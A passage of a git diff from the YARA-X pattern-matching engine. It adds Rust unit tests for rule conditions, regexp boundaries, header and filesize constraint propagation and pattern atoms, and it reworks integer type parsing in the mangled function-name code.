( true ) + ) + )" + ); + condition_false!( + "for any x in (0xFFFFFFFFFFFFFFFF) : ( + for any i in (0..x) : ( true ) + )" + ); + condition_false!( + "for any x in (0, 0xFFFFFFFFFFFFFFFF) : ( + for any i in (0..x - 1) : ( true ) + )" + ); + + // Ranges with more than i64::MAX items are iterated, even though the + // number of items doesn't fit in an `i64`. + condition_true!("for any i in (0..0x7FFFFFFFFFFFFFFF) : ( i == 1 )"); + condition_true!( + "for any x in (-9223372036854775808) : ( + for any i in (x..0x7FFFFFFFFFFFFFFF) : ( i == x + 1 ) + )" + ); + condition_true!(r#"for any e in (1,2,3) : (e == 3)"#); condition_true!(r#"for any e in (1+1,2+2) : (e == 2)"#); condition_false!(r#"for any e in (1+1,2+2) : (e == 3)"#); @@ -777,6 +1203,14 @@ fn with() { ) "# ); + + condition_true!(r#"with re = /foo.*bar/ : ("foo123bar" matches re)"#); + condition_false!(r#"with re = /foo.*bar/ : ("foo123baz" matches re)"#); + condition_true!(r#"with re = /foobar/i : ("xxFOOBARxx" matches re)"#); + condition_true!(r#"with r1 = /foo.*1/, r2 = r1 : ("foo_1" matches r2)"#); + condition_true!( + r#"with r1 = /foo.*1/, r2 = /bar.*2/ : ("bar_2" matches r1 or "bar_2" matches r2)"# + ); } #[test] @@ -1491,6 +1925,8 @@ fn regexp_patterns_2() { pattern_match!(r#"/abc.{0,3}ddd/s"#, b"abcdddddd", b"abcdddddd"); pattern_false!(r#"/abc.{1,3}def/s"#, b"abcxxxxdef"); pattern_false!(r#"/ab.{1,3}cdef/s"#, b"abxxxxcdef"); + pattern_match!(r"/ab(k{0}x)+c/", b"abxc", b"abxc"); + pattern_match!(r"/ab(k{0}x)+c/", b"abxxc", b"abxxc"); pattern_match!(r#"/abc.*ddd/s"#, b"abcdddddd", b"abcdddddd"); pattern_match!(r#"/abc.*?ddd/s"#, b"abcdddddd", b"abcddd"); pattern_match!(r#"/abc.*ddd/s"#, b"abcabcdddddd", b"abcabcdddddd"); @@ -1711,6 +2147,10 @@ fn regexp_patterns_4() { pattern_false!(r#"/(bc+d$|ef*g.|h?i(j|k))/"#, b"effg"); pattern_false!(r#"/(bc+d$|ef*g.|h?i(j|k))/"#, b"bcdd"); pattern_match!(r#"/(bc+d$|ef*g.|h?i(j|k))/"#, b"reffgz", b"effgz"); + pattern_match!(r#"/abc(\s|$)+?/"#, b"abc", b"abc"); + pattern_match!(r#"/abc(\s|$)+/"#, b"abc", b"abc"); + pattern_match!(r#"/(\s|^)+?abc/"#, b"abc", b"abc"); + pattern_match!(r#"/(\s|^)+abc/"#, b"abc", b"abc"); } #[test] @@ -1748,6 +2188,19 @@ fn regexp_patterns_5() { pattern_match!(r"/abc\b{end}/", b"abc", b"abc"); pattern_match!(r"/\b{start}abc/", b" abc", b"abc"); pattern_match!(r"/abc\b{end}/", b"abc ", b"abc"); + pattern_false!(r"/\b{end}abcd/", b"abcd"); + pattern_match!(r"/\b{start-half}abc/", b"abc", b"abc"); + pattern_match!(r"/\b{start-half}abc/", b" abc", b"abc"); + pattern_match!(r"/\b{start-half} abc/", b" abc", b" abc"); + pattern_false!(r"/\b{start-half}abc/", b"1abc"); + pattern_false!(r"/abc\b{start-half}/", b"abc"); + pattern_match!(r"/abc \b{start-half}/", b"abc 1", b"abc "); + pattern_match!(r"/abc\b{end-half}/", b"abc", b"abc"); + pattern_match!(r"/abc\b{end-half}/", b"abc ", b"abc"); + pattern_match!(r"/abc \b{end-half}/", b"abc ", b"abc "); + pattern_false!(r"/abc\b{end-half}/", b"abc1"); + pattern_false!(r"/\b{end-half}abc/", b"abc"); + pattern_match!(r"/\b{end-half} abc/", b" abc", b" abc"); pattern_false!(r"/\/", b"abc "); pattern_false!(r"/\ 0. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + any of ($a) at 0 or $a + } + "#, + b"foobar" + ); + + // Pattern `$a` used in `1 of ($a) at 0` and also in `#a > 0`. + // The match count usage `#a` must remove the anchor from `$a`. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + 1 of ($a) at 0 or #a > 0 + } + "#, + b"foobar" + ); + + // Pattern `$a` anchored at offset 0 via `any of ($a) at 0`, and anchored + // at offset 3 via `$a at 3`. Anchoring to different offsets makes `$a` + // non-anchorable, allowing it to match at offset 3. + rule_true!( + r#" + rule test { + strings: + $a = "bar" + condition: + any of ($a) at 0 or $a at 3 + } + "#, + b"foobar" + ); } #[test] @@ -3996,7 +4535,7 @@ fn eight_rules() { } #[test] -fn test_defined_1() { +fn defined_1() { condition_true!(r#"defined 1"#); condition_true!(r#"defined 1.0"#); condition_true!(r#"defined false"#); @@ -4008,7 +4547,7 @@ fn test_defined_1() { #[test] #[cfg(feature = "test_proto2-module")] -fn test_defined_2() { +fn defined_2() { condition_false!(r#"defined test_proto2.undef_i64()"#); condition_true!(r#"not defined test_proto2.undef_i64()"#); condition_true!( @@ -4018,7 +4557,7 @@ fn test_defined_2() { #[test] #[cfg(feature = "test_proto3-module")] -fn test_defined_3() { +fn defined_3() { // In modules defined with a proto3 there's no such thing as undefined // fields. If the field was not explicitly set to some value, it will // have the default value for the type. @@ -4031,6 +4570,22 @@ fn test_defined_3() { condition_true!(r#"test_proto3.string_undef == """#); } +#[test] +#[cfg(feature = "test_proto3-module")] +fn proto3_integers() { + // Like in proto2 modules, fields of type uint32 are promoted to signed + // integers (their values are in the range [0, u32::MAX]), while fields of + // type uint64 are unsigned integers. + condition_true!(r#"test_proto3.uint32_one - 2 == -1"#); + condition_true!(r#"test_proto3.uint64_one - 2 == 0xFFFFFFFFFFFFFFFF"#); + + // Dividing an unsigned integer by a promoted `uint32` field produces an + // unsigned result, like with any other signed integer. + condition_true!( + r#"(test_proto3.uint64_zero - 1) \ test_proto3.uint32_one == 0xFFFFFFFFFFFFFFFF"# + ); +} + #[test] #[cfg(feature = "test_proto2-module")] fn short_circuit() { @@ -4098,7 +4653,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "ELF" + $a = /EL(F|G)/ condition: uint32(0) == 0x464c457f and $a } @@ -4110,7 +4665,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "ELF" + $a = /EL(F|G)/ condition: uint32(0) == 0x464c457f and $a } @@ -4123,7 +4678,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "PE" + $a = /P(E|F)/ condition: uint16(0) == 0x5a4d and $a } @@ -4135,7 +4690,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "PE" + $a = /P(E|F)/ condition: uint16(0) == 0x5a4d and $a } @@ -4148,7 +4703,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "MZ" + $a = /M(Z|A)/ condition: $a at 0 } @@ -4160,7 +4715,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "MZ" + $a = /M(Z|A)/ condition: $a at 0 } @@ -4173,7 +4728,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "ELF" + $a = /EL(F|G)/ condition: uint32(0) == 0x464c457f and uint16(4) == 0x0102 and $a } @@ -4185,7 +4740,7 @@ fn header_constraints_optimization() { r#" rule test { strings: - $a = "ELF" + $a = /EL(F|G)/ condition: uint32(0) == 0x464c457f and uint16(4) == 0x0102 and $a } @@ -4199,13 +4754,13 @@ fn header_constraints_optimization() { r#" rule constrained { strings: - $a = "foo" + $a = /foo|bar/ condition: uint32(0) == 0x464c457f and $a } rule unconstrained { strings: - $a = "foo" + $a = /foo|bar/ condition: $a } @@ -4218,13 +4773,13 @@ fn header_constraints_optimization() { r#" rule constrained { strings: - $a = "foo" + $a = /foo|bar/ condition: uint32(0) == 0x464c457f and $a } rule unconstrained { strings: - $a = "foo" + $a = /foo|bar/ condition: $a } @@ -4238,7 +4793,7 @@ fn header_constraints_optimization() { r#" rule constrained { strings: - $a = "MZ" + $a = /M(Z|A)/ condition: uint8(0) == 0x00 and uint8(2) == 0x5a and $a } @@ -4247,122 +4802,494 @@ fn header_constraints_optimization() { ); // Patterns whose on-disk bytes differ from their literal text (because of - // the `xor`, `nocase`, `wide`, `base64` or `base64wide` modifiers) must not - // derive a header constraint from the literal text. Otherwise `$a at 0` - // would wrongly require the file to start with the plaintext bytes and the - // pattern would be pruned even though it matches at offset 0. + // the `nocase` or `wide`) must not derive a header constraint from the + // literal text. Otherwise, `$a at 0` would wrongly require the file to + // start with the plaintext bytes and the pattern would be pruned even + // though it matches at offset 0. - // `xor`: "Hello" XORed with key 0x01 -> 49 64 6d 6d 6e. + // `nocase`: data has a different case than the literal. rule_true!( r#" rule test { strings: - $a = "Hello" xor + $a = /HELLO|WORLD/ nocase condition: $a at 0 } "#, - b"\x49\x64\x6d\x6d\x6e" + b"hello" ); - // `nocase`: data has a different case than the literal. + // A regexp that reduces to a literal, with the `wide` modifier. For regexps + // the `wide` transformation is applied when lowering to sub-patterns, so it + // is not visible in the HIR and `as_literal_bytes()` returns the non-wide + // bytes. The header constraint must still not be derived from them. rule_true!( r#" rule test { strings: - $a = "HELLO" nocase + $a = /Hello|World/ wide condition: $a at 0 } "#, - b"hello" + b"H\0e\0l\0l\0o\0" ); - // `wide`: the literal bytes are interleaved with zeroes. + // Pattern sets anchored at an offset (e.g. `any of ($a) at 0`) anchor their + // constituent patterns to offset 0, but if a pattern is also used unanchored, + // its anchor must be removed. rule_true!( r#" rule test { strings: - $a = "Hello" wide + $a = /Hello|World/ condition: - $a at 0 + any of ($a) at 0 and $a } "#, - b"H\0e\0l\0l\0o\0" + b"Hello" ); - // `base64`: "Hello" base64-encoded. - rule_true!( + // Regression test for https://github.com/VirusTotal/yara-x/issues/771 + // A literal pattern used in both a constrained rule and an unconstrained + // rule must not inherit the header constraint when deduplicated. + rule_false!( r#" - rule test { + rule trigger { strings: - $a = "Hello" base64 + $s1 = "testtest" wide ascii condition: - $a at 0 + uint16(0) == 0x5a4d and $s1 + } + rule bug { + strings: + $xor = "testtest" xor ascii wide + $plain = "testtest" ascii wide + condition: + $xor and not $plain } "#, - b"SGVsbG8=" + b"testtest\nudruudru\n" ); - // `base64wide`: "Hello" base64-encoded and then made wide. rule_true!( r#" - rule test { + rule trigger { strings: - $a = "Hello" base64wide + $s1 = "testtest" wide ascii condition: - $a at 0 + uint16(0) == 0x5a4d and $s1 + } + rule bug { + strings: + $xor = "testtest" xor ascii wide + $plain = "testtest" ascii wide + condition: + $xor and not $plain } "#, - b"S\0G\0V\0s\0b\0G\08\0" + b"aksdfjlkasj\nudruudru\n" ); +} - // A regexp that reduces to a literal, with the `wide` modifier. For regexps - // the `wide` transformation is applied when lowering to sub-patterns, so it - // is not visible in the HIR and `as_literal_bytes()` returns the non-wide - // bytes. The header constraint must still not be derived from them. - rule_true!( +#[test] +fn cross_rule_constraints() { + // 1. Header constraint propagated from referenced private rule. + let rules = crate::compile( r#" - rule test { + private rule IsPE { + condition: + uint16(0) == 0x5A4D + } + rule Amadey { strings: - $a = /Hello/ wide + $re = /foo|bar/ condition: - $a at 0 + IsPE and any of them } "#, - b"H\0e\0l\0l\0o\0" + ) + .unwrap(); + + // Verify header constraint is assigned to pattern. + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 1); + assert_eq!( + constraints[0].1, + &crate::compiler::HeaderConstraint::Constrained(vec![0x4D, 0x5A]) ); - // The bytes that actually appear in the data are not constrained to the - // literal text, but matching itself must still work correctly: a pattern - // with a byte-transforming modifier anchored at 0 must not match when its - // encoded form is absent at offset 0. - rule_false!( + // Matches with PE header + let mut scanner = crate::Scanner::new(&rules); + let results = scanner.scan(b"MZ\0\0foo").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + // Does not match with non-PE header (pattern is disabled) + let results = scanner.scan(b"\0\0\0\0foo").unwrap(); + assert_eq!(results.matching_rules().len(), 0); + + // 2. Header constraint propagated from global rule without explicit reference. + let rules = crate::compile( r#" - rule test { + global private rule IsPE { + condition: + uint16(0) == 0x5A4D + } + rule Amadey { strings: - $a = "Hello" xor + $re = /foo|bar/ condition: - $a at 0 + any of them } "#, - b"\0\0\0\0\x49\x64\x6d\x6d\x6e" + ) + .unwrap(); + + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 1); + assert_eq!( + constraints[0].1, + &crate::compiler::HeaderConstraint::Constrained(vec![0x4D, 0x5A]) ); - // A modifier pattern anchored at 0 must not contaminate the header - // constraint derived from a plain literal in the same rule. Here the file - // starts with "MZ" (so `$plain at 0` holds) and contains "Hello" XORed with - // key 0x01 somewhere; `$x` must not be pruned by `$plain`'s constraint. - rule_true!( + let mut scanner = crate::Scanner::new(&rules); + let results = scanner.scan(b"MZ\0\0foo").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + let results = scanner.scan(b"\0\0\0\0foo").unwrap(); + assert_eq!(results.matching_rules().len(), 0); + + // 3. Filesize bounds propagated from referenced rule. + let rules = crate::compile( r#" - rule test { + rule Small { + condition: + filesize < 100 + } + rule Test { + strings: + $re = /foo|bar/ + condition: + Small and $re + } + "#, + ) + .unwrap(); + + let bounds: Vec<_> = rules.filesize_bounds().collect(); + assert_eq!(bounds.len(), 1); + assert_eq!(bounds[0].1, &crate::compiler::FilesizeBounds::from(..100)); + + // 4. Filesize bounds propagated from global rule. + let rules = crate::compile( + r#" + global rule Small { + condition: + filesize < 100 + } + rule Test { + strings: + $re = /foo|bar/ + condition: + $re + } + "#, + ) + .unwrap(); + + let bounds: Vec<_> = rules.filesize_bounds().collect(); + assert_eq!(bounds.len(), 1); + assert_eq!(bounds[0].1, &crate::compiler::FilesizeBounds::from(..100)); + + // 5. Chained rule references: A -> B -> C + let rules = crate::compile( + r#" + rule A { + condition: + uint16(0) == 0x5A4D + } + rule B { + condition: + A and uint8(2) == 0x90 + } + rule C { + strings: + $re = /foo|bar/ + condition: + B and $re + } + "#, + ) + .unwrap(); + + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 1); + assert_eq!( + constraints[0].1, + &crate::compiler::HeaderConstraint::Constrained(vec![ + 0x4D, 0x5A, 0x90 + ]) + ); + + // 6. Contradictory header constraints (PE vs ELF) + let rules = crate::compile( + r#" + private rule IsPE { + condition: + uint16(0) == 0x5A4D + } + private rule IsELF { + condition: + uint32(0) == 0x464c457f + } + rule Impossible { strings: - $plain = "MZ" - $x = "Hello" xor + $re = /foo|bar/ condition: - $plain at 0 and $x + IsPE and IsELF and $re } "#, - b"MZ\x49\x64\x6d\x6d\x6e" + ) + .unwrap(); + + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 1); + assert_eq!( + constraints[0].1, + &crate::compiler::HeaderConstraint::Unsatisfiable ); + + let mut scanner = crate::Scanner::new(&rules); + let results = scanner.scan(b"MZ\0\0foo").unwrap(); + assert_eq!(results.matching_rules().len(), 0); + + // 7. Multi-namespace isolation: global rule in ns1 does not affect ns2 + let mut compiler = crate::Compiler::new(); + compiler.new_namespace("ns1"); + compiler + .add_source( + r#" + global rule IsPE { + condition: + uint16(0) == 0x5A4D + } + rule Rule1 { + strings: + $re1 = /foo1/ + condition: + $re1 + } + "#, + ) + .unwrap(); + + compiler.new_namespace("ns2"); + compiler + .add_source( + r#" + rule Rule2 { + strings: + $re2 = /foo2/ + condition: + $re2 + } + "#, + ) + .unwrap(); + + let rules = compiler.build(); + let constraints: std::collections::HashMap<_, _> = + rules.header_constraints().collect(); + assert_eq!(constraints.len(), 1); +} + +#[test] +fn pattern_atoms() { + let rules = crate::compile( + r#" + rule rule1 { + strings: + $a = "ABCD" + $b = { 01 02 03 04 } + $c = /foobar/ + condition: + any of them + } + rule rule2 { + strings: + $x = "WIDE" wide + $y = "NOCASE" nocase + condition: + any of them + } + rule rule3 { + condition: + true + } + rule rule4 { + strings: + $anchored = "ANCHORED" + condition: + $anchored at 0 + } + "#, + ) + .unwrap(); + + let mut rules_iter = rules.iter(); + + // rule1 + let rule1 = rules_iter.next().unwrap(); + assert_eq!(rule1.identifier(), "rule1"); + let mut patterns = rule1.patterns(); + assert_eq!(patterns.len(), 3); + + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$a"); + let atoms: Vec<_> = pattern.atoms().collect(); + assert_eq!(atoms.len(), 1); + assert_eq!(atoms[0].as_slice(), b"ABCD"); + assert_eq!(atoms[0].as_ref(), b"ABCD"); + assert_eq!(&*atoms[0], b"ABCD"); + + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$b"); + let atoms: Vec<_> = pattern.atoms().collect(); + assert_eq!(atoms.len(), 1); + assert_eq!(atoms[0].as_slice(), &[0x01, 0x02, 0x03, 0x04]); + + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$c"); + let atoms: Vec<_> = pattern.atoms().collect(); + assert_eq!(atoms.len(), 1); + assert_eq!(atoms[0].as_slice(), b"obar"); + + // rule2 + let rule2 = rules_iter.next().unwrap(); + assert_eq!(rule2.identifier(), "rule2"); + let mut patterns = rule2.patterns(); + + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$x"); + let atoms: Vec<_> = pattern.atoms().collect(); + assert_eq!(atoms.len(), 1); + assert_eq!(atoms[0].as_slice(), b"W\0I\0"); + + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$y"); + let atoms = pattern.atoms(); + assert!(atoms.len() > 1); + // ExactSizeIterator check + assert_eq!(atoms.len(), pattern.atoms().collect::>().len()); + // DoubleEndedIterator check + let rev_atoms: Vec<_> = pattern.atoms().rev().collect(); + let mut fwd_atoms: Vec<_> = pattern.atoms().collect(); + fwd_atoms.reverse(); + assert_eq!(rev_atoms, fwd_atoms); + + // rule3 (no patterns) + let rule3 = rules_iter.next().unwrap(); + assert_eq!(rule3.identifier(), "rule3"); + assert_eq!(rule3.patterns().len(), 0); + + // rule4 (anchored pattern has no atoms in Aho-Corasick) + let rule4 = rules_iter.next().unwrap(); + assert_eq!(rule4.identifier(), "rule4"); + let mut patterns = rule4.patterns(); + let pattern = patterns.next().unwrap(); + assert_eq!(pattern.identifier(), "$anchored"); + assert_eq!(pattern.atoms().len(), 0); + assert!(pattern.atoms().next().is_none()); +} + +#[test] +fn header_constraints_int64() { + let rules = crate::compile( + r#" + rule test_le { + strings: + $a = /foo.*x/ + condition: + int64(0) == -2 and $a + } + rule test_be { + strings: + $b = /bar.*y/ + condition: + int64be(0) == 0x0102030405060708 and $b + } + "#, + ) + .unwrap(); + + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 2); + assert!(constraints.iter().any(|(_, c)| { + *c == &crate::compiler::HeaderConstraint::Constrained(vec![ + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + ]) + })); + assert!(constraints.iter().any(|(_, c)| { + *c == &crate::compiler::HeaderConstraint::Constrained(vec![ + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + ]) + })); + + let mut scanner = crate::Scanner::new(&rules); + let results = + scanner.scan(b"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFFfoox").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + let results = + scanner.scan(b"\x01\x02\x03\x04\x05\x06\x07\x08bary").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + let results = scanner.scan(b"\0\0\0\0\0\0\0\0\0\0foox bary").unwrap(); + assert_eq!(results.matching_rules().len(), 0); +} + +#[test] +fn header_constraints_uint64() { + let rules = crate::compile( + r#" + rule test_le { + strings: + $a = /foo.*x/ + condition: + uint64(0) == 0xFFFFFFFFFFFFFFFE and $a + } + rule test_be { + strings: + $b = /bar.*y/ + condition: + uint64be(0) == 0x8000000000000001 and $b + } + "#, + ) + .unwrap(); + + let constraints: Vec<_> = rules.header_constraints().collect(); + assert_eq!(constraints.len(), 2); + assert!(constraints.iter().any(|(_, c)| { + *c == &crate::compiler::HeaderConstraint::Constrained(vec![ + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + ]) + })); + assert!(constraints.iter().any(|(_, c)| { + *c == &crate::compiler::HeaderConstraint::Constrained(vec![ + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, + ]) + })); + + let mut scanner = crate::Scanner::new(&rules); + let results = + scanner.scan(b"\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFFfoox").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + let results = + scanner.scan(b"\x80\x00\x00\x00\x00\x00\x00\x01bary").unwrap(); + assert_eq!(results.matching_rules().len(), 1); + + let results = scanner.scan(b"\0\0\0\0\0\0\0\0\0\0foox bary").unwrap(); + assert_eq!(results.matching_rules().len(), 0); } diff --git a/lib/src/types/array.rs b/lib/src/types/array.rs index 7a9d64a7a..1d8e4d479 100644 --- a/lib/src/types/array.rs +++ b/lib/src/types/array.rs @@ -37,7 +37,7 @@ impl Array { pub fn deputy(&self) -> TypeValue { match self { - Array::Integers(_) => TypeValue::unknown_integer(), + Array::Integers(_) => TypeValue::unknown_signed_integer(), Array::Floats(_) => TypeValue::unknown_float(), Array::Bools(_) => TypeValue::unknown_bool(), Array::Strings(_) => TypeValue::unknown_string(), diff --git a/lib/src/types/func.rs b/lib/src/types/func.rs index a62444238..e458c269b 100644 --- a/lib/src/types/func.rs +++ b/lib/src/types/func.rs @@ -1,4 +1,4 @@ -use crate::types::{IntegerConstraint, StringConstraint, TypeValue}; +use crate::types::{StringConstraint, TypeValue, Value}; use itertools::Itertools; use std::borrow::Cow; @@ -7,7 +7,7 @@ use std::cmp::Ordering; use std::hash::{Hash, Hasher}; use std::iter::Peekable; use std::rc::Rc; -use std::str::Chars; +use std::str::{Chars, FromStr}; #[derive(Clone, Debug, Eq, PartialEq)] /// Represents a mangled function name. @@ -23,22 +23,24 @@ use std::str::Chars; /// is a method of the type identified by ``. `` is a /// comma-separated list of `:` pairs, where `` is the name /// of the argument, and `` is a sequence of characters that specify the -/// argument's type. Allowed type characters are: +/// argument's type. Allowed type specifiers are: /// /// ```text -/// i: integer +/// i8, i16, i32, i64: signed integers +/// u8, u16, u32, u64: unsigned integers /// f: float /// b: bool /// s: string /// r: regexp /// ``` /// -/// `` is a sequence of one or more of the characters above, +/// `` is a sequence of one or more of the specifiers above, /// specifying the type returned by the function (except `r`, because /// functions can't return regular expressions). For example, a function `add` -/// with two integer arguments `a` and `b` that returns another integer -/// would have the mangled name `add@a:i,b:i@i`. A function `foo` that takes no -/// arguments and returns a tuple of two integers has the mangled name `foo@@ii`. +/// with two 64-bit integer arguments `a` and `b` that returns another 64-bit +/// integer would have the mangled name `add@a:i64,b:i64@i64`. A function `foo` +/// that takes no arguments and returns a tuple of two 32-bit integers has the +/// mangled name `foo@@i32i32`. /// /// Additionally, the return type may be followed by a `u` character if /// the returned value may be undefined. For example, a function `foo` that @@ -51,8 +53,8 @@ use std::str::Chars; /// /// ```text /// foo() -> foo@@ -/// foo(a: i64) -> foo@a:i@ -/// foo() -> i32 -> foo@@i +/// foo(a: i64) -> foo@a:i64@ +/// foo() -> i32 -> foo@@i32 /// foo() -> Option<()> -> foo@@u /// foo() -> Option -> foo@@fu /// foo() -> Option<(f64,f64)> -> foo@@ffu @@ -60,7 +62,7 @@ use std::str::Chars; /// /// ### Type Constraints /// -/// Types may include constraints that specify additional restrictions on +/// String types may include constraints that specify additional restrictions on /// their values. A constraint follows the type character, separated by a /// colon, and consists of an uppercase letter (representing the constraint /// type) and possibly additional characters, depending on the constraint. @@ -68,12 +70,11 @@ use std::str::Chars; /// Examples: /// /// ```text -/// foo() -> lowercase string _> foo@@s:L -/// foo() -> uppercase string _> foo@@s:U -/// foo() -> string of length 32 _> foo@@s:N32 +/// foo() -> lowercase string -> foo@@s:L +/// foo() -> uppercase string -> foo@@s:U +/// foo() -> string of length 32 -> foo@@s:N32 /// foo() -> 32-byte lowercase string -> foo@@s:N32:L /// foo() -> 32-byte uppercase string -> foo@@s:N32:U -/// foo() -> integer in the range 0-255 -> foo@@i:R0:255 /// ``` /// /// Multiple constraints can be chained by appending them in sequence after @@ -150,35 +151,29 @@ impl MangledFnName { fn next_type(&self, chars: &mut Peekable) -> Option { match chars.next() { - Some('u') => Some(TypeValue::Unknown), + Some('u') => { + if chars.peek().is_some_and(|c| c.is_ascii_digit()) { + Some(match self.parse_int::(chars) { + 8 => TypeValue::Uint8(Value::Unknown), + 16 => TypeValue::Uint16(Value::Unknown), + 32 => TypeValue::Uint32(Value::Unknown), + 64 => TypeValue::Uint64(Value::Unknown), + _ => panic!("invalid mangled name: `{}`", self.0), + }) + } else { + Some(TypeValue::Unknown) + } + } Some('r') => Some(TypeValue::Regexp(None)), Some('f') => Some(TypeValue::unknown_float()), Some('b') => Some(TypeValue::unknown_bool()), - Some('i') => { - let mut constraints = Vec::new(); - - while let Some(':') = chars.peek() { - chars.next(); // consume the colon (:) - match chars.next() { - Some('R') => { - let min = self.parse_i64(chars); - assert_eq!(chars.next(), Some(':')); - let max = self.parse_i64(chars); - constraints - .push(IntegerConstraint::Range(min, max)); - } - None | Some(_) => { - panic!("invalid mangled name: `{}`", self.0) - } - } - } - - Some(if constraints.is_empty() { - TypeValue::unknown_integer() - } else { - TypeValue::unknown_integer_with_constraints(constraints) - }) - } + Some('i') => Some(match self.parse_int::(chars) { + 8 => TypeValue::Int8(Value::Unknown), + 16 => TypeValue::Int16(Value::Unknown), + 32 => TypeValue::Int32(Value::Unknown), + 64 => TypeValue::Int64(Value::Unknown), + _ => panic!("invalid mangled name: `{}`", self.0), + }), Some('s') => { let mut constraints = Vec::new(); @@ -192,10 +187,8 @@ impl MangledFnName { constraints.push(StringConstraint::Uppercase); } Some('N') => { - let n = self.parse_i64(chars); - constraints.push(StringConstraint::ExactLength( - n as usize, - )); + let n = self.parse_int::(chars); + constraints.push(StringConstraint::ExactLength(n)); } None | Some(_) => { panic!("invalid mangled name: `{}`", self.0) @@ -216,12 +209,12 @@ impl MangledFnName { } } - fn parse_i64(&self, chars: &mut Peekable) -> i64 { + fn parse_int(&self, chars: &mut Peekable) -> T { chars .by_ref() .peeking_take_while(|&c| c.is_ascii_digit() || c == '-') .collect::() - .parse::() + .parse::() .unwrap_or_else(|_| panic!("invalid mangled name: `{}`", self.0)) } } @@ -376,26 +369,24 @@ impl Func { #[cfg(test)] mod test { - use crate::types::{ - IntegerConstraint, MangledFnName, StringConstraint, TypeValue, - }; + use crate::types::{MangledFnName, StringConstraint, TypeValue, Value}; use pretty_assertions::assert_eq; #[test] fn mangled_name() { assert_eq!( - MangledFnName::from("foo@@i").unmangle(), - (vec![], TypeValue::unknown_integer()) + MangledFnName::from("foo@@i64").unmangle(), + (vec![], TypeValue::unknown_signed_integer()) ); assert_eq!( - MangledFnName::from("foo@a:i,b:i@i").unmangle(), + MangledFnName::from("foo@a:i64,b:i64@i64").unmangle(), ( vec![ - ("a", TypeValue::unknown_integer()), - ("b", TypeValue::unknown_integer()) + ("a", TypeValue::unknown_signed_integer()), + ("b", TypeValue::unknown_signed_integer()) ], - TypeValue::unknown_integer() + TypeValue::unknown_signed_integer() ) ); @@ -507,45 +498,71 @@ mod test { ); assert_eq!( - MangledFnName::from("foo@@i:R0:10").unmangle(), + MangledFnName::from("foo@a:i8,b:i16,c:i32@i32").unmangle(), ( - vec![], - TypeValue::unknown_integer_with_constraints(vec![ - IntegerConstraint::Range(0, 10), - ]) + vec![ + ("a", TypeValue::Int8(Value::Unknown)), + ("b", TypeValue::Int16(Value::Unknown)), + ("c", TypeValue::Int32(Value::Unknown)), + ], + TypeValue::Int32(Value::Unknown) ) ); assert_eq!( - MangledFnName::from("foo@@i:R-100:1000").unmangle(), + MangledFnName::from("foo@a:u8,b:u16,c:u32@u32u").unmangle(), ( - vec![], - TypeValue::unknown_integer_with_constraints(vec![ - IntegerConstraint::Range(-100, 1000), - ]) + vec![ + ("a", TypeValue::Uint8(Value::Unknown)), + ("b", TypeValue::Uint16(Value::Unknown)), + ("c", TypeValue::Uint32(Value::Unknown)), + ], + TypeValue::Uint32(Value::Unknown) + ) + ); + + assert_eq!( + MangledFnName::from("foo@@u64").unmangle(), + (vec![], TypeValue::unknown_unsigned_integer()) + ); + + assert_eq!( + MangledFnName::from("foo@a:u64@u64u").unmangle(), + ( + vec![("a", TypeValue::unknown_unsigned_integer())], + TypeValue::unknown_unsigned_integer() ) ); assert_eq!( - MangledFnName::from("Bar::foo@a:i,b:i@iu").method_of(), + MangledFnName::from("Bar::foo@a:i64,b:i64@i64u").method_of(), Some("Bar") ); assert_eq!( - MangledFnName::from("bar.Bar::foo@a:i,b:i@iu").method_of(), + MangledFnName::from("bar.Bar::foo@a:i64,b:i64@i64u").method_of(), Some("bar.Bar") ); - assert_eq!(MangledFnName::from("foo@a:i,b:i@iu").method_of(), None); + assert_eq!( + MangledFnName::from("foo@a:i64,b:i64@i64u").method_of(), + None + ); - assert!(!MangledFnName::from("foo@a:i,b:i@i").result_may_be_undef()); - assert!(MangledFnName::from("foo@a:i,b:i@iu").result_may_be_undef()); + assert!( + !MangledFnName::from("foo@a:i64,b:i64@i64").result_may_be_undef() + ); + assert!( + MangledFnName::from("foo@a:i64,b:i64@i64u").result_may_be_undef() + ); + assert!(!MangledFnName::from("foo@@u8").result_may_be_undef()); + assert!(MangledFnName::from("foo@@u8u").result_may_be_undef()); } #[test] #[should_panic] fn invalid_mangled_name_1() { - MangledFnName::from("foo@a:i").unmangle(); + MangledFnName::from("foo@a:i64").unmangle(); } #[test] @@ -557,12 +574,12 @@ mod test { #[test] #[should_panic] fn invalid_mangled_name_3() { - MangledFnName::from("foo@a:x@i").unmangle(); + MangledFnName::from("foo@a:x@i64").unmangle(); } #[test] #[should_panic] fn 